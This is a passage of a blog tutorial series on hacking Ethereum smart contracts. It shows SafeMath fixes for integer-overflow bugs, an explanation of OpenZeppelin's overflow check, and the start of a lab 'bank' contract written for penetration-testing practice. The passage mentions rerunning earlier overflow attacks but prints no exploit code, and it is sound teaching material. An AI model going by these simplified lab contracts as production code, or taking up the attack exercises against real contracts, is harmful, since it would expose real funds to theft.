<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: white; font-family: "Courier New"; font-size: 10pt;">pragma solidity </span><span style="color: indianred; font-family: "Courier New"; font-size: 10pt;">0.6</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">.</span><span style="color: indianred; font-family: "Courier New"; font-size: 10pt;">6</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">; <o:p></o:p></span></p>
<p style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin: 0in; padding: 0in;"><span style="color: #e28964; font-family: "Courier New"; font-size: 10pt;">import</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;"> </span><span style="color: #65b042; font-family: "Courier New"; font-size: 10pt;">"PASTE OPENZEPPELIN LINK
HERE"</span><span style="color: white; font-family: "Courier New"; font-size: 10pt;">;<o:p></o:p></span></p>
</div>
<p class="MsoNormal"><span style="color: white; font-family: "Courier New"; font-size: 10pt; line-height: 107%;"> </span><o:p></o:p></p>
<p class="MsoNormal"><span style="color: #93c47d;">With this import statement we will now have access to the
math functions within safe math for example: <o:p></o:p></span></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><span style="color: #93c47d;"><!--[endif]-->Add</span></span></p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpMiddle" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><span style="color: #93c47d;"><!--[endif]-->Subtract</span></span></p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpMiddle" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><span style="color: #93c47d;"><!--[endif]-->Multiply </span></span></p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpLast" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><span style="color: #93c47d;"><!--[endif]-->Divide</span></span></p></blockquote></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><span style="color: #93c47d;"><o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><span style="color: #93c47d;"><o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><span style="color: #93c47d;"><o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><span style="color: #93c47d;"><o:p></o:p></span></p>
<p class="MsoNormal"><span style="color: #93c47d;">These functions can be accessed with dot notation. For
example in the following: <o:p></o:p></span></p>
<p class="MsoNormal"><span style="color: #6fa8dc;">SafeMath.mul(value1, value2)</span><span style="color: #93c47d;"><o:p></o:p></span></p>
<p class="MsoNormal"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<p class="MsoNormal"><span style="color: #93c47d;">Action Step<o:p></o:p></span></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><span style="color: #93c47d;"><!--[endif]-->Locate all of the mathematical functions in the
example</span></span></p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><span style="color: #93c47d;"><!--[endif]-->Re-code all of them to match the above format</span></span></p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><span style="color: #93c47d;"><!--[endif]-->Try your attack again, results? </span></span></p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l9 level1 lfo7; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><span style="color: #93c47d;"><!--[endif]-->How many did you find and update?</span></span></p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpLast" style="mso-list: l9 level1 lfo7; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><span style="color: #93c47d;"><!--[endif]-->What happened when you ran the attack again? </span></span></p></blockquote><h2><a name="_Toc47892488"> </a></h2></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal"><o:p></o:p></p>
<p class="MsoListParagraphCxSpFirst" style="mso-list: l9 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l9 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<h2><span style="color: #93c47d;">Safe Math Walk Through<o:p></o:p></span></h2>
<p class="MsoNormal"><span style="color: #93c47d;">We need to update all of the mathematical functions within
our contract and then try our attack again. First try to locate all of these
and update them according to the type of mathematical calculation. <o:p></o:p></span></p>
<p class="MsoNormal"><span style="color: #93c47d;">You should have found 3 locations which need updating to
comply with safe math standards These are shown below with the correct syntax
needed to fix them with OpenZeppelin. Apply these changes to your code if you have
not already. <o:p></o:p></span></p>
<p class="MsoNormal"><span style="color: #93c47d;">uint256 amount = SafeMath.mul(uint256(cnt), _value);<o:p></o:p></span></p>
<p class="MsoNormal"><span style="color: #93c47d;">balances[msg.sender] = SafeMath.sub(balances[msg.sender], amount);<o:p></o:p></span></p>
<p class="MsoNormal"><span style="color: #93c47d;">balances[_receivers[i]] = SafeMath.add(balances[_receivers[i]],
_value);<o:p></o:p></span></p>
<p class="MsoNormal"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<p class="MsoNormal"><span style="color: #93c47d;">If you apply the above fixes within your code then the
returned values of the mathematical operations are double checked to make sure
they make sense. For example, check out the OpenZeppelin code for multiplication:
</span><o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> mul(uint256 a, uint256 b) </span><span style="color: #e28964;">internal</span><span style="color: white;"> pure returns (uint256) {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">if</span><span style="color: white;"> (a == </span><span style="color: indianred;">0</span><span style="color: white;">) {</span><span style="color: #e28964;">return</span><span style="color: white;"> </span><span style="color: indianred;">0</span><span style="color: white;">;}<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> uint256 c = a * b;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">require</span><span style="color: white;">(c / a == b, </span><span style="color: #65b042;">"SafeMath: multiplication overflow"</span><span style="color: white;">);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">6.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">return</span><span style="color: white;"> c;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">7.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre></div>
<p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal"><span style="color: #93c47d;">Note that 2 parameters are taken into the function on line 1
which are our two values we are multiplying together. In our case our number of
addresses in the array and the _value to send. These values are multiplied on
line 4 and stored in the value c. <o:p></o:p></span></p>
<p class="MsoNormal"><span style="color: #93c47d;">Then on line 5 the reverse operation Is performed on the
result, dividing the returned value c by a and requiring that it is equal to
the value of b. If this was an
overflowed and wrapped around back to 0 then this check would obviously fail as
the number would be incorrect. <o:p></o:p></span></p>
<p class="MsoNormal"><span style="color: #93c47d;">If this check fails an error condition is shown like the
following: <o:p></o:p></span></p>
<p align="center" class="MsoNormal" style="text-align: center;"><span style="color: #93c47d;"><v:shapetype coordsize="21600,21600" filled="f" id="_x0000_t75" o:preferrelative="t" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" stroked="f">
<v:stroke joinstyle="miter">
<v:formulas>
<v:f eqn="if lineDrawn pixelLineWidth 0">
<v:f eqn="sum @0 1 0">
<v:f eqn="sum 0 0 @1">
<v:f eqn="prod @2 1 2">
<v:f eqn="prod @3 21600 pixelWidth">
<v:f eqn="prod @3 21600 pixelHeight">
<v:f eqn="sum @0 0 1">
<v:f eqn="prod @6 1 2">
<v:f eqn="prod @7 21600 pixelWidth">
<v:f eqn="sum @8 21600 0">
<v:f eqn="prod @7 21600 pixelHeight">
<v:f eqn="sum @10 21600 0">
</v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:formulas>
<v:path gradientshapeok="t" o:connecttype="rect" o:extrusionok="f">
<o:lock aspectratio="t" v:ext="edit">
</o:lock></v:path></v:stroke></v:shapetype><v:shape id="Picture_x0020_23" o:spid="_x0000_i1025" style="height: 86.25pt; mso-wrap-style: square; visibility: visible; width: 346.5pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png">
</v:imagedata></v:shape><o:p></o:p></span></p>
<p class="MsoNormal"><o:p><span style="color: #93c47d;"> </span></o:p></p><div class="separator" style="clear: both; text-align: center;"><span style="color: #93c47d;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_Tj7F0cqGh8Hx2mCX0LfhM-C7AgBjbrjVwNrdW5yJGq5llaQ-txjmb72gAr5RHYb7K8mvmBJTopTwvRtCesrlymXYjeYql0rktxNy0VamIEqWzClF69pYgXD5-27VAhN8V7ZyeFVVNBMj/s484/SafeMathError.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="121" data-original-width="484" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_Tj7F0cqGh8Hx2mCX0LfhM-C7AgBjbrjVwNrdW5yJGq5llaQ-txjmb72gAr5RHYb7K8mvmBJTopTwvRtCesrlymXYjeYql0rktxNy0VamIEqWzClF69pYgXD5-27VAhN8V7ZyeFVVNBMj/s0/SafeMathError.png" /></a></span></div><span style="color: #93c47d;"><br /></span><p></p>
<p class="MsoNormal"><span style="color: #93c47d;">If this check passes then the transaction finishes as normal
and the transaction completes as intended. Make sure that you re-code this and then run
the attack again yourself. Review the output from the transactions for both.
Also review the Add and the Subtract functions, which you also re-coded and make
sure you understand how they are working as well. <o:p></o:p></span></p>
<p class="MsoNormal"><span style="color: #93c47d;">You can find the open zeppelin code at the link where you
imported if from, or within remix where it was imported to a github folder
path. Review the code and use the
functions in your applications to protect against math issues. If you are a
penetration tester make sure that the contracts you are reviewing are using safe
math functions whenever math is used. <o:p></o:p></span></p>
<p class="MsoNormal"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<h3 style="text-align: left;"><span style="color: #93c47d;">Using OpenZeppelin Safe Math Libraries To Prevent Integer Attacks: </span></h3><p class="MsoNormal"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/Wi5d09KjfOg" width="320" youtube-src-id="Wi5d09KjfOg"></iframe></div><br /><p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><span style="color: #93c47d;"><a name="_Toc47892489">Integer Attacks Summary</a><o:p></o:p></span></h2>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">We went through what might have
been an overwhelming number of concepts in this chapter regarding
over/underflow scenarios. Make sure that you type out each of the examples and
execute the code to understand what the issue is and how to spot it. Then
re-code the examples to fix the issues. <o:p></o:p></span></p>
<p class="MsoNormal"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<h2><span style="color: #93c47d;"><a name="_Toc47892490">Integer Attacks References</a><o:p></o:p></span></h2>
<span face="" style="font-size: 11pt; line-height: 107%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><span style="color: #6fa8dc;">https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol</span></span>Ficti0nhttp://www.blogger.com/profile/10756896998856282829noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-7189489079877147912020-08-23T23:47:00.007-07:002021-05-09T13:46:38.371-07:00Smart Contract Hacking Chapter 2 – Solidity for Penetration Testers Part 2 <p> </p><h2><span style="color: #93c47d;"><a name="_Toc47892471">Beyond Hello World</a><o:p></o:p></span></h2>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">This will be our last week of basics before we hop into actual vulnerabilities. </span></p><p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">In the last chapter, we covered a
lot of differences between solidity and a traditional language and the keywords
it uses to differentiate functionality within functions and transactions. We
also reviewed a simple transaction on Remix.<span style="mso-spacerun: yes;">
</span>Hopefully, creating your first transaction and reviewing it was a useful
exercise.<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">In this chapter, we will cover
some other key aspects of understanding before we hop into our vulnerability discovery
and exploitation. These key aspects will round off your understanding and
really benefit you when attacking smart contracts. This will enable us to look
at advanced solidity concepts with an offensive security mindset and help us to
determine how to use them to our advantage when hacking smart contracts in the
rest of this series. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">I am sure you have noticed from
the simple hello world example that Solidity is very much like a traditional
program from a structural and coding standpoint. It only has some keywords and
financial transnational differences due to its use case. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">We will now cover another smart
contract example where we will learn a lot more about the other key aspects of
coding in solidity that makes it different and interesting, yet still is very
easy to understand.<span style="mso-spacerun: yes;"> </span>This will be a
fuller featured contract that covers a large portion of typical functionality.
We will break down each part of this smart contract in chunks and explain what
the contract does which will provide enough context to jump into the
exploitation chapters that follow and start to do some really cool attacks. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">I would suggest that you type out
this code into Remix and play around with it rather than copy paste or rely on
reading this chapter alone. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><i><span style="color: #93c47d;">Note: On the deposit function,
just note you will need to add a value to the value field above the deploy
options. You can also check the video walk through in the references for a
functionality walk through if you get stuck. <o:p></o:p></span></i></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">Deploying this contract and playing
with it, will give you an understanding of how it works in order to better
understand what the code does. This is similar to a reconnaissance phase when
testing an application where a walk through of the application functionality is
the first thing you should do prior to running attacks and scans against your target.
The deeper understanding of how an application works at a functional level is
always a tremendous asset into subverting its business logic which is where the
real vulnerabilities are found that do the most damage. If you do not
understand what the application does, you will not find the best attack vectors
against it. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<h2><span style="color: #93c47d;"><a name="_Toc47892472">Hands on Lab – Type out and review contract
functionality:</a> <o:p></o:p></span></h2>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">Below is the full contract for
your review. Type this out in remix, play with it a bit, and try out the
following steps. Then come back for an explanation of each piece of the code. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">Action Steps:</span></p><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><span style="font-family: wingdings;"><span style="color: #6fa8dc;">ü</span></span><span style="color: #93c47d;"> Type out the code below and try to understand what it does</span><br /><span style="font-family: wingdings;"><span style="color: #6fa8dc;">ü</span></span><span style="color: #93c47d;"> Compile and deploy the code into remix</span><br /><span style="font-family: wingdings;"><span style="color: #6fa8dc;">ü</span></span><span style="color: #93c47d;"> Deposit 1 Ether into your account using the value field and denomination drop down</span><br /><span style="font-family: wingdings;"><span style="color: #6fa8dc;">ü</span></span><span style="color: #93c47d;"> Check your Balance</span><br /><span style="font-family: wingdings;"><span style="color: #6fa8dc;">ü</span></span><span style="color: #93c47d;"> Withdraw your balance (note this is in a smaller denomination we will explain that)</span><br /><span style="font-family: wingdings;"><span style="color: #6fa8dc;">ü</span></span><span style="color: #93c47d;"> Check your Balance again</span><br /><span style="font-family: wingdings;"><span style="color: #6fa8dc;">ü</span></span><span style="color: #93c47d;"> Click the isOwner button from a few of your accounts, and click the owner button to show the owner</span><br /><span style="font-family: wingdings;"><span style="color: #6fa8dc;">ü</span></span><span style="color: #93c47d;"> Then finally try the withdrawAll from a non-owner account followed by trying withdrawAll </span> </blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><span style="color: #93c47d;"> from the owner account and note your balances.</span></blockquote><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p><span style="color: #93c47d;"> </span></o:p></p><div class="separator" style="clear: both; text-align: center;"><br /></div>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;">pragma solidity </span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">; <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;">contract </span><span style="color: #89bdff;">HelloWorld_Bank</span><span style="color: white;">{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>address </span><span style="color: #e28964;">public</span><span style="color: white;"> owner;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>mapping (address => </span><span style="color: #e28964;">uint</span><span style="color: white;">) </span><span style="color: #e28964;">private</span><span style="color: white;"> balances;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">constructor</span><span style="color: white;"> () </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>owner = msg.sender; <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 